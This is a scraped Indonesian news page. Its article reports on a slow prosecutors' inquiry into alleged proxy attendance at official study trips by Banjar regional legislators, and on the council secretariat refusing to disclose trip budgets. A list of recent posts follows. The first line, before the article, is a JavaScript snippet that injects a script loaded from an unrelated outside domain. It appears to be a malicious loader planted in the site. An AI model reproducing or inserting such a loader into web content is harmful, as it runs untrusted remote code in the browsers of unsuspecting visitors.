(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pengusutan Kasus Kunker DPRD Banjar Tak Sepenuhnya Terang-Benderang!


MARTAPURA, Selama proses penyelidikan hingga gelar perkara, Slamet Siswanta, Kepala Kejaksaan Negari Kabupaten Banjar memang memilih banyak menghindar saat ingin diwawancarai awak media.Termasuk usai pelaksaan ekspose perkara, Selasa (31/10).

Hal ini, sebenarnya menjadi satu dari sekian banyak misteri di tengah proses penyelidikan kasus yang sempat disebut-sebut akan menyeret banyak wakil rakyat di DPRD Banjar ini.

Bungkamnya Slamet Siswanta seolah menjadi isyarat bahwa kasus ini memang menjadi ‘beban” tersendiri bagi Kejari. Ini dapat dipahami, karena yang diusut notabena merupakan para wakil rakyat yang memiliki pengaruh dan kekuasaan politik. (Baca: Kejari Janji Beri “Kejutan”,  Terkait Tersangka Kasus Kunker Dewan?)

Pengusutan kasus diawali dari bocornya praktik perjokian kunker ke Surabaya, Jatim tengah tahun 2016 lalu. Panjang proses penyeledikan yang dimulai sejak awal tahun 2017, menjadi kejanggalan berikutnya.

Tak ayal, hal ini memunculkan prasangka publik, kalau Kejari sengaja memberikan waktu bagi anggota dewan untuk mengembalikan dana kunker. Minim kerugian negara, menjadi alibi yang kemudian dilontarkan pihak kejaksaan.

Kekhawatiran akan munculnya aksi tebang pilih, diharapkan tidak akan dilakukan. Artinya, siapapun yang terlibat, baik anggota atau pun unsur pimpinan, semestinya mendapat perlakuan sama jika ada bukti-bukti kuat.

Apalagi, kenyataannya dewan juga tak jera! Meski tengah dibidik dalam kasus itu, tapi praktik yang sama masih dilakukan. Seperti dilakukan Wakil DPRD Banjar, Iqbal Khalilurrahman. Tak hadir dalam agenda kunker, politisi dari Partai PKB ini justru mengutus orang lain menggantikan dirinya.

Yang disayangkan, jajaran Sekretariat DPRD Banjar ikut-ikut menutupi semua informasi terkait perjalanan dinas para wakil rakyat. Sekretaris DPRD Banjar, Iberahin G Intan misalnya, selalu berdalih saat ingin dimintai keterangan dan data terkait agenda kunker dewan kurun waktu 2017 ini.

Berbagai dalih juga disampaikan Iberahim G Intan saat Kanalkalimantan.com meminta informasi besaran anggaran kunker. Pasalnya disebut-sebut, dari puluhan miliar anggaran dewan, sedikitnya Rp12 miliar dihabiskan hanya untuk kunker.

“Untuk agenda kunker harus seizin ketua dewan. Untuk total anggaran dewan dan anggaran kunker, nanti saya koordinasikan dulu dengan bendaharaan,” kilah Iberahim G Intan. (rudiyanto)


Desy Arfianty

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

3 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

3 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

7 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

8 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

9 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

9 jam ago

This website uses cookies.